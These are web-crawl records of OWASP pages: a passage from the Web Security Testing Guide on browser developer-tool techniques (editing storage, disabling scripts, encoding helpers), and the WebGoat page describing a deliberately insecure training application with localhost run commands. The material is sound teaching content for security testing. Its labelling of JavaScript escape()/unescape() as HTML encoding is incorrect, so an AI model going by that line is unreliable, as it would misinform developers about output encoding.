`Storage` heading.\n3. Select the relevant domain name.\n4. Double click in the `Value` column to edit any cookie value.\n5. Double click in the applicable Cell to edit the `Key` or `Value` .\n\n> Note: Editing `Session Storage` or `Index DB` follows essentially the same steps.\n> \n> Note: Items can be added or deleted via the right-click context menu.\n\n### Mozilla Firefox\n\n1. Click the `Storage` tab.\n2. Expand the `Local Storage` section.\n3. Select the relevant domain name.\n4. Double click in the applicable Cell to edit the `Key` or `Value` .\n\n> Note: Editing `Session Storage` or `Index DB` follows essentially the same steps.\n> \n> Note: Items can be added or deleted via the right-click context menu.\n\n## Disable CSS\n\n- [Testing for Client-side Resource Manipulation](/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/11-Client-side_Testing/06-Testing_for_Client-side_Resource_Manipulation)\n\n### General\n\nAll major browsers support manipulating CSS leveraging the Dev Tools Console and JavaScript functionality:\n\n- To remove all external style-sheets: `$('style,link[rel=\"stylesheet\"]').remove();`\n- To remove all internal style-sheets: `$('style').remove();`\n- To remove all in-line styles: `Array.prototype.forEach.call(document.querySelectorAll('*'),function(el){el.removeAttribute('style');});`\n- To remove everything from head tag: `$('head').remove();`\n\n## Disable JavaScript\n\n### Google Chrome\n\n1. Click on triple dot ‘kabob’ menu on the right side of the web developer toolbar and click on `Settings` .\n2. On the `Preferences` tab, under the `Debugger` section, check the `Disable JavaScript` checkbox.\n\n### Mozilla Firefox\n\n1. On the dev tools `Debugger` tab, click on the settings gear button in the upper right corner of the developer toolbar.\n2. Select `Disable JavaScript` from the dropdown (this is an enable/disable menu item, when JavaScript is disabled the meny item has a check mark).\n\n## View HTTP Headers\n\n- [Information Gathering](/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/01-Information_Gathering/README)\n\n### Google Chrome\n\n1. On the `Networking` tab in Dev Tools select any URL or request.\n2. In the lower right hand pane select the `Headers` tab.\n\n*Figure 6.F-4: Google Chrome Headers View*\n\n### Mozilla Firefox\n\n1. On the `Networking` tab in Dev Tools select any URL or request.\n2. In the lower right hand pane select the `Headers` tab.\n\n*Figure 6.F-5: Mozilla Firefox Headers View*\n\n## Screenshots\n\n- [Reporting](/www-project-web-security-testing-guide/v42/5-Reporting/README)\n\n### Google Chrome\n\n1. Press on the `Toggle Device Toolbar` button or press `ctrl` + `shift` + `m` .\n2. Click the triple dot ‘kabob’ menu in the Device Toolbar.\n3. Select `Capture screenshot` or `Capture full size screenshot` .\n\n### Mozilla Firefox\n\n1. Press the triple dot `ellipsis` button in the address bar.\n2. Select `Take a Screenshot` .\n3. Select either the `Save full page` or `Save visible` option.\n\n## Offline Mode\n\n### Google Chrome\n\n1. Navigate to `Network` tab.\n2. In the `Throttle` dropdown select `Offline` .\n\n*Figure 6.F-6: Google Chrome Offline Option*\n\n### Mozilla Firefox\n\n1. From the triple line ‘hamburger’ (or ‘pancake’) menu select `Web Developer` and then `Work Offline` .\n\n*Figure 6.F-7: Mozilla Firefox Offline Option*\n\n## Encoding and Decoding\n\n- Many (perhaps even most) types of [Web Application Security Testing](/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/README) can benefit from various types of encoding.\n\n### General\n\nAll major browsers support encoding and decoding strings in various ways leveraging the Dev Tools Console and JavaScript functionality:\n\n- Base64 encode: `btoa(\"string-to-encode\")`\n- Base64 decode: `atob(\"string-to-decode\")`\n- URL encode: `encodeURIComponent(\"string-to-encode\")`\n- URL decode: `decodeURIComponent(\"string-to-decode\")`\n- HTML encode: `escape(\"string-to-encode\")`\n- HTML decode: `unescape(\"string-to-decode\")`\n\n## Responsive Design Mode\n\n- [Testing for Browser Cache Weaknesses](/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/04-Authentication_Testing/06-Testing_for_Browser_Cache_Weaknesses)\n- [Testing for Weaker Authentication in Alternative Channel](/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/04-Authentication_Testing/10-Testing_for_Weaker_Authentication_in_Alternative_Channel)\n- [Testing for Clickjacking](/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/11-Client-side_Testing/09-Testing_for_Clickjacking)\n\n### Google Chrome\n\n1. Click the `Toggle device toolbar` button or press `ctrl` + `shift` + `m` .\n\n*Figure 6.F-8: Google Chrome Responsive Design Mode*\n\n### Mozilla Firefox\n\n1. Click the `Responsive Design Mode` button or press `ctrl` + `shift` + `m` .\n\n*Figure 6.F-9: Mozilla Firefox Responsive Design Mode*\n\n## References\n\n- [Web App Security Testing with Browsers](https://getmantra.com/web-app-security-testing-with-browsers/)\n- [Black Hills Information Security - Webcast: Free Tools! How to Use Developer Tools and JavaScript in Webapp Pentests](https://www.blackhillsinfosec.com/webcast-free-tools-how-to-use-developer-tools-and-javascript-in-webapp-pentests/)\n- [Greg Malcolm - Chrome Developer Tools: Raiding the Armory](https://github.com/gregmalcolm/wacky-wandas-wicked-weapons-frontend/blob/fix-it/README.md)\n- [List of UserAgent Strings](http://user-agent-string.info/list-of-ua)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 10982, "slov": 1479, "odkazu": 184, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 22:08:42", "sha256": "def0bf182a24dc1dd0e85a34db88b4791aa8a8d75435de245f3e10b81d951534", "hloubka": 1, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://developers.whatismybrowser.com/useragents/explore/", "https://getmantra.com/web-app-security-testing-with-browsers/", "https://www.blackhillsinfosec.com/webcast-free-tools-how-to-use-developer-tools-and-javascript-in-webapp-pentests/", "https://github.com/gregmalcolm/wacky-wandas-wicked-weapons-frontend/blob/fix-it/README.md", "http://user-agent-string.info/list-of-ua", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-webgoat/", "titulek": "OWASP WebGoat | OWASP Foundation", "h1": "OWASP WebGoat", "popis": "OWASP WebGoat on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-webgoat/", "jazyk": "en", "robots_meta": "", "og": {"og:description": "OWASP WebGoat on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "OWASP WebGoat | OWASP Foundation", "og:url": "https://owasp.org/www-project-webgoat/", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "OWASP WebGoat"}, {"uroven": 2, "text": "Learn the hack - Stop the attack"}, {"uroven": 2, "text": "Description"}, {"uroven": 2, "text": "Goals"}, {"uroven": 2, "text": "Learn in three steps"}, {"uroven": 3, "text": "Explain the vulnerability"}, {"uroven": 3, "text": "Learn by doing"}, {"uroven": 3, "text": "Explain mitigation"}, {"uroven": 2, "text": "Lessons"}, {"uroven": 3, "text": "Future lessons"}, {"uroven": 2, "text": "Getting started"}, {"uroven": 3, "text": "1. Run using Docker"}, {"uroven": 3, "text": "2. Run using Docker with complete Linux Desktop"}, {"uroven": 3, "text": "3. Standalone"}, {"uroven": 2, "text": "WebWolf the small helper"}, {"uroven": 3, "text": "Host a file"}, {"uroven": 3, "text": "E-mail client"}, {"uroven": 3, "text": "Landing page for incoming requests"}, {"uroven": 2, "text": "Running"}, {"uroven": 3, "text": "1. Docker"}, {"uroven": 3, "text": "2. Standalone"}], "markdown": "# OWASP WebGoat\n\n## Learn the hack - Stop the attack\n\nWebGoat is a deliberately insecure application that allows interested developers just like you to test vulnerabilities \ncommonly found in Java-based applications that use common and popular open source components.\n\n## Description\n\nWeb application security is difficult to learn and practice. Not many people have full blown web applications like online book stores or online banks that can be used to scan for vulnerabilities. In addition, security professionals frequently need to test tools against a platform known to be vulnerable to ensure that they perform as advertised. All of this needs to happen in a safe and legal environment.\n\nEven if your intentions are good, we believe you should never attempt to find vulnerabilities without permission. The primary goal of the WebGoat project is simple: create a de-facto interactive teaching environment for web application security. In the future, the project team hopes to extend WebGoat into becoming a security benchmarking platform and a Java-based Web site Honeypot.\n\n**WARNING 1:** *While running this program your machine will be extremely\nvulnerable to attack. You should disconnect from the Internet while using\nthis program.* WebGoat’s default configuration binds to localhost to minimize\nthe exposure.\n\n**WARNING 2:** *This program is for educational purposes only. If you attempt\nthese techniques without authorization, you are very likely to get caught. If\nyou are caught engaging in unauthorized hacking, most companies will fire you.\nClaiming that you were doing security research will not work as that is the\nfirst thing that all hackers claim.*\n\n---\n\n## Goals\n\nWeb application security is difficult to learn and practice. Not many people have full blown web applications like \nonline book stores or online banks that can be used to scan for vulnerabilities. In addition, security professionals \nfrequently need to test tools against a platform known to be vulnerable to ensure that they perform as advertised. \nAll of this needs to happen in a safe and legal environment.\n\nEven if your intentions are good, we believe you should never attempt to find vulnerabilities without permission. \nThe primary goal of the WebGoat project is simple: create a de-facto interactive teaching environment for web \napplication security. In the future, the project team hopes to extend WebGoat into becoming a security benchmarking \nplatform and a Java-based Web site Honeypot.\n\n## Learn in three steps\n\nExplain the vulnerability\n\nTeaching is now a first class citizen of WebGoat, we explain the vulnerability. Instead of ‘just hacking’ we now\nfocus on explaining from the beginning what for example a SQL injection is.\n\nLearn by doing\n\nDuring the explanation of a vulnerability we build assignments which will help you understand how it works.\n\nExplain mitigation\n\nAt the end of each lesson you will receive an overview of possible mitigations which will help you during your \ndevelopment work.\n\n---\n\n## Lessons\n\nWebGoat contains lesson for almost all OWASP Top 10 vulnerabilities and more…\n\n### Future lessons\n\nThe following lessons are on our wish list:\n\n- Lesson about cryptography (in progress)\n- Lesson about path traversal (in progress)\n- Session management\n- More password reset lessons\n- etc\n\nSee our [Github page](https://github.com/WebGoat/WebGoat/issues) for more information.\n\n---\n\n## Getting started\n\n### 1. Run using Docker\n\nAlready have a browser and ZAP and/or Burp installed on your machine in this case you can run the WebGoat image directly using Docker.\n\nEvery release is also published on [DockerHub](https://hub.docker.com/r/webgoat/webgoat).\n\n```\ndocker run -it -p 127.0.0.1:8080:8080 -p 127.0.0.1:9090:9090 webgoat/webgoat\n```\n\nIf you want to reuse the container, give it a name:\n\n```\ndocker run --name webgoat -it -p 127.0.0.1:8080:8080 -p 127.0.0.1:9090:9090 webgoat/webgoat\n```\n\nAs long as you don’t remove the container you can use:\n\n```\ndocker start webgoat\n```\n\nThis way, you can start where you left off. If you remove the container, you need to use `docker run` again.\n\n### 2. Run using Docker with complete Linux Desktop\n\nInstead of installing tools locally we have a complete Docker image based on running a desktop in your browser. This way you only have to run a Docker image which will give you the best user experience.\n\n```\ndocker run -p 127.0.0.1:3000:3000 webgoat/webgoat-desktop\n```\n\n### 3. Standalone\n\nDownload the latest WebGoat release from [https://github.com/WebGoat/WebGoat/releases](https://github.com/WebGoat/WebGoat/releases)\n\n```\njava -Dfile.encoding=UTF-8 -Dwebgoat.port=8080 -Dwebwolf.port=9090 -jar webgoat-2023.5.jar\n```\n\nClick the link in the log to start WebGoat.\n\n---\n\n## WebWolf the small helper\n\nWebWolf is a separate web application which simulates an attackers machine. It makes it possible for us to\nmake a clear distinction between what takes place on the attacked website and the actions you need to do as\nan “attacker”. WebWolf was introduced after a couple of workshops where we received feedback that there\nwas no clear distinction between what was part of the “attackers” role and what was part of the “users” role on the\nwebsite. The following items are supported in WebWolf:\n\n### Host a file\n\nUpload a file needed to be downloaded during an assignment\n\n### E-mail client\n\nWebWolf serves a mail client with which we can easily simulate sending an e-mail.\n\n### Landing page for incoming requests\n\nWebWolf can serve as a landing page to which you can make a call from inside an assignment, giving you as the attacker\ninformation about the complete request. Think of it as a very simple form of `netcat`.\n\n## Running\n\n### 1. Docker\n\nIf you started the Docker image, WebWolf is already running. Please point your browser to: http://localhost:9090/WebWolf\n\n### 2. Standalone\n\nIf you want to use the standalone version, you will need to download the jar file and start it:\n\n```\njava -jar webwolf-<>.jar [--server.port=9090] [--server.address=localhost]\n```\n\nBy default, WebWolf starts on port 9090 with `--server.port` you can specify a different port. With `server.address` you\ncan bind it to a different address (default localhost)\n\n---\n\n[Watch](https://github.com/owasp/www-project-webgoat/subscription) [Star](https://github.com/owasp/www-project-webgoat)", "znaku_textu": 6159, "slov": 938, "odkazu": 43, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 10:10:33", "sha256": "f9e3e001b9082142a7e1bc77bf1c9ab0d3fc9a8547defd06599d49e4e5d535d2", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://github.com/WebGoat/WebGoat/releases/latest", "https://github.com/WebGoat/WebGoat/issues", "https://hub.docker.com/r/webgoat/webgoat", "https://github.com/WebGoat/WebGoat/releases", "https://github.com/owasp/www-project-webgoat/subscription", "https://github.com/owasp/www-project-webgoat", "https://github.com/WebGoat/WebGoat", "https://github.com/WebGoat/WebGoat/wiki/Contributing-to-WebGoat", "https://github.com/WebGoat/WebGoat/wiki/Forking-WebGoat-in-GitHub", "https://github.com/WebGoat/WebGoat/wiki/Main-Exploits", "https://gitter.im/OWASPWebGoat/community", "https://stackoverflow.com/search?q=webgoat", "https://twitter.com/OWASP_WebGoat", "https://owasp.slack.com/messages/", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://www.owasp.org/www-project-automated-threats-to-web-applications/assets/files/oat-ontology-decision-chart.pdf", "titulek": "", "h1": "", "popis": "", "klicova_slova": "", "kanonicka": "", "jazyk": "", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [], "markdown": "", "znaku_textu": 0, "slov": 0, "odkazu": 0, "kodovani": "", "kodovani_deklarovane": null, "format": "pdf", "bajtu": 577452, "duplikat_z": "https://owasp.org/www-project-automated-threats-to-web-applications/assets/files/oat-ontology-decision-chart.pdf", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 22:14:03", "sha256": "6593009ee9f1037c5b94aba402d86c1e5b19dbec704d96381c5ee792fb4bcdc9", "hloubka": 3, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "application/pdf", "odkazy_externi": []}